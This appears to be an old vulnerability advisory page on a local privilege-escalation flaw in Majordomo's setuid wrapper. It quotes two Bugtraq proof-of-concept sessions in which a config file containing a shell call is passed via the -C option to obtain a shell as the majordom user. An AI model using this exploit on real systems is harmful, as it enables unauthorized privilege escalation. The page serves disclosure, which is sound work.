|
Majordomo Local -C Parameter Vulnerability
The following, taken from Olaf Kirch <okir@monad.swb.de>'s Bugtraq post presents an example (taken from Shevek's post to a Great Circle Majordomo list): shevek@tirin ~$ cat foo.pl system("/bin/csh"); shevek@tirin ~$ /usr/local/majordomo/wrapper majordomo -C /home/shevek/foo.pl % %whoami majordom ------ Here's another example (using a different script), posted to Bugtraq by Federico G. Schwindt <Federico G. Schwindt> on May 23, 2000: $ cat /tmp/myconf system("/bin/sh"); $ id uid=1000(fgsch) gid=1000(fgsch) groups=1000(fgsch), 0(wheel), 11(core) $ ./wrapper bounce-remind -C /tmp/myconf $ id uid=41(majordom) gid=41(majordom) groups=1000(fgsch), 0(wheel), 11(core) |
|
|
Privacy Statement |
